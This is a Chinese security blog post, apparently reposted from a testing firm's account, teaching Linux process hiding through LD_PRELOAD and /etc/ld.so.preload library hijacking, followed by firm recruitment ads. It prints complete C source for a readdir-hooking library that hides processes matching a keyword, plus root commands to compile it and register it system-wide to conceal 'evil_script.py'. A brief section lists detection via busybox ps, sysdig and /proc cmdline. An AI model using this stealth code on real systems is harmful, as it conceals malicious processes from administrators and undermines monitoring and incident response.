linux隐藏进程-预加载库或lib劫持
2023-1-25 00:2:48 Author: 白帽子(查看原文) 阅读量:19 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

分子实验室 https://molecule-labs.com/

劫持lib库方式隐藏进程

原理解析:利用环境变量LD_PRELOAD或者配置ld.so.preload文件使的恶意的动态库先于系统标准库加载,以达到架空系统标准库中相关函数的目的,最终实现对特定进程的隐藏。

实现通过劫持lib库隐藏进程

这里参考:

https://github.com/gianlucaborello/libprocesshider ,英文教程

https://www.anquanke.com/post/id/226285

首先下载环境

git clone [email protected]:gianlucaborello/libprocesshider.gitcd libprocesshider-master

自定义过滤函数

编辑 processhider.c,根据需要过滤的程序名称,修改process_to_filter变量值。这里需要注意下,这里匹配的是程序运行时候显示的名字,如果要使用python运行的话,这里应该填写的是python,python3同理。这里填写evil_script.py那么执行的时候就应该使用./方式执行,这样程序名为evil_script.py才会匹配并过滤。

....../* * Every process with this name will be excluded */static const char* process_to_filter = "evil_script.py";
......

配置环境

[email protected]:~/Documents/libprocesshider-master$ makegcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl[email protected]:~/Documents/libprocesshider-master$ sudo mv libprocesshider.so /usr/local/lib/sudo -i 进入管理员权限 [email protected]:/home/parallels/Documents/libprocesshider-master# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preloadcat /etc/ld.so.preload

测试ps是否会访问预加载,发现是加载了。

strace -f ps 2>&1 |grep ld.so.preload

这里注意需要./执行evil_script.py, 进程名才会被过滤,如果想使用python执行,那么前面processhider.c需要关键字设置为python。

然后ps查询,程序名称已被过滤。

当然这里也可以进行改进,我们在另外研究。如豪宝改的通过关键字检索并用于过滤进程,匹配关键字的进程隐藏。这段代码可以在这里查看更多细节 https://github.com/ghostsang/Learning-library

# define _GNU_SOURCE
# include <stdio.h># include <dlfcn.h># include <dirent.h># include <string.h># include <unistd.h>
/* * Every process with this name will be excluded */static const char* process_to_filter = "script";
/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp, char* buf, size_t size){    int fd = dirfd(dirp);    if(fd == -1) {        return 0;    }
   char tmp[64];    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);    ssize_t ret = readlink(tmp, buf, size);    if(ret == -1) {        return 0;    }
   buf[ret] = 0;    return 1;}
/* * Get a process name given its pid */static int get_process_name(char* pid, char* buf){    if(strspn(pid, "0123456789") != strlen(pid)) {        return 0;    }
   char tmp[256];    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);    FILE* f = fopen(tmp, "r");    if(f == NULL) {        return 0;    }
   if(fgets(tmp, sizeof(tmp), f) == NULL) {        fclose(f);        return 0;    }
   fclose(f);
   int unused;    sscanf(tmp, "%d (%[^)]s", &unused, buf);    return 1;}
static void Next(const char* T,int *next){    int i=1;    next[1]=0;    int j=0;    while (i<strlen(T)) {        if (j==0||T[i-1]==T[j-1]) {            i++;            j++;            next[i]=j;        }else{            j=next[j];        }    }}static int KMP(char * S,const char* T){    int next[10];    Next(T,next);    int i=1;    int j=1;    while (i<=strlen(S)&&j<=strlen(T)) {        if (j==0 || S[i-1]==T[j-1]) {            i++;            j++;        }        else{            j=next[j];        }    }    if (j>strlen(T)) {        return i-(int)strlen(T);    }    return -1;}

# define DECLARE_READDIR(dirent, readdir)                                \static struct dirent* (*original_## readdir)(DIR*) = NULL;               \                                                                        \struct dirent* readdir(DIR *dirp)                                       \{                                                                       \    if(original_## readdir == NULL) {                                    \        original_## readdir = dlsym(RTLD_NEXT, # readdir);               \        if(original_## readdir == NULL)                                  \        {                                                               \            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \        }                                                               \    }                                                                   \                                                                        \    struct dirent* dir;                                                 \                                                                        \    while(1)                                                            \    {                                                                   \        dir = original_## readdir(dirp);                                 \        if(dir) {                                                       \            char dir_name[256];                                         \            char process_name[256];                                     \            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \                strcmp(dir_name, "/proc") == 0 &&                       \                get_process_name(dir->d_name, process_name) &&          \                KMP(process_name, process_to_filter)!=-1) {         \                continue;                                               \            }                                                           \        }                                                               \        break;                                                          \    }                                                                   \    return dir;                                                         \}
DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);

这里测试含有script的过滤,evil_script.py 成功被过滤掉了。

应对方式

1、busybox

busybox ps方式执行ps,可以不预加载库对于劫持lib场景有奇效。

busybox ps

2、sysdig

还可以通过

sudo sysdig -c topprocs_cpu     # 查看cpu进程占用情况sudo sysdig proc.name contains evil_script   # 针对包含evil_script的进程监测# 监测网络情况sudo sysdig -c topprocs_netsudo sysdig -c topconns

3、/proc/PID/cmdline

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246476&idx=1&sn=b753ac9662e5e989103ec5463bb9c996&chksm=82ea56e5b59ddff359954d4418fa6935d82b7df6fd7cbb04c44968141652f63371af3a5a4473#rd
如有侵权请联系:admin#unsafe.sh